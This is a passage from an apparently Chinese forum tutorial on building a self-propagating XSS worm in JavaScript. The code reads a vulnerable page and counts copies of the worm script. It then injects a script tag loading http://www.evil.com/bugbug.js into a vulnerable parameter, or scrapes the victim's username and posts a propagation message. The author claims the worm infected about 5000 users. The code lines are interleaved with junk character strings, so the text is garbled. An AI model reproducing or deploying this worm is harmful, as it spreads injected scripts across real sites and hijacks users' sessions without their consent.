复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false); //读取某页面.
7 w8 _8 ^& f O5 B4 q ~4 U* Y' x0 F1 V
xmlHttpReq.send(null);
! t3 f& ~$ U+ C3 a9 W% H
: n2 ?$ A# Q0 ?) c* r4 N: |var resource = xmlHttpReq.responseText;
% c8 @+ H" {8 v5 _5 r. z1 |
+ Z/ z% g& d3 P! L# ]$ j, gvar id=0;var result;2 K6 s' V7 i' E+ q7 f! x+ n
2 K/ b2 r- z/ i# V0 H7 J8 Evar patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.$ {$ |) c' `/ o0 `) L: E
# S4 Y# u& v( m- twhile ((result = patt.exec(resource)) != null) {! p* t9 G# f7 ~! n. h; V- X" |' e
3 c$ R# i6 k, S/ T
id++;/ V7 Z+ g0 ~3 C8 \& ? E
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复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.- H9 E1 w7 R7 i( B: Y6 H1 r+ h' m* T
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no=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.9 W/ M, C' {: y+ c
' m4 [( {+ T/ Z Gvar post="wd="+wd;
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0 h/ a$ ^& h! D c8 S1 U8 f/ KxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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% |2 l. Z# x5 a2 w# q, K8 g6 xxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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" q- X) x4 ?$ z9 X4 oxmlHttpReq.setRequestHeader("content-length",post.length); ; [; A8 H" _: q4 a8 b4 n
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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9 `( X7 A( Z. DxmlHttpReq.send(post);6 c! Z+ q, ]; E/ X1 ], [% H
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4 _' b4 q0 t5 ]- L& [: Z$ ~复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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var no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
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var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.3 H* B' q5 K; ?! B
: _7 N4 u9 H$ ]var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.; o" E( A( i$ z& T: D
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var post="wd="+wd;
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2 w: v0 G; y2 PxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);
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3 s! j: F& p2 WxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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1 ~! }; j1 v7 C3 H( t$ l& c9 D, uxmlHttpReq.setRequestHeader("content-length",post.length);
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xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
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4 V& L% ^. s3 Z! v$ @5 m" t+ [" TxmlHttpReq.send(post); //把传播的信息 POST出去.0 T' I3 m' I, _% k% ^( C4 J
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}
1 C5 q+ _6 X, I5 V3 O' Q复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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! ]: j* s d( Q; e5 g9 b* E* [) P: f本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
# x8 i2 ]8 v8 V4 r+ I- |! b) G6 ?蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
. {, [7 y8 f w操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
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本文引用文档资料:) o* g) Z! U) U
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
8 `( s( m1 v4 \' a; r+ d3 yOther XmlHttpRequest tricks (Amit Klein, January 2003)
/ P( y4 e$ _. ?"Cross Site Tracing" (Jeremiah Grossman, January 2003)6 W& b+ u) ^% w" E8 [
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
2 T+ d- C2 J7 K; v: c8 `% r空虚浪子心BLOG http://www.inbreak.net$ j$ s7 d( v9 p5 p) Q$ i
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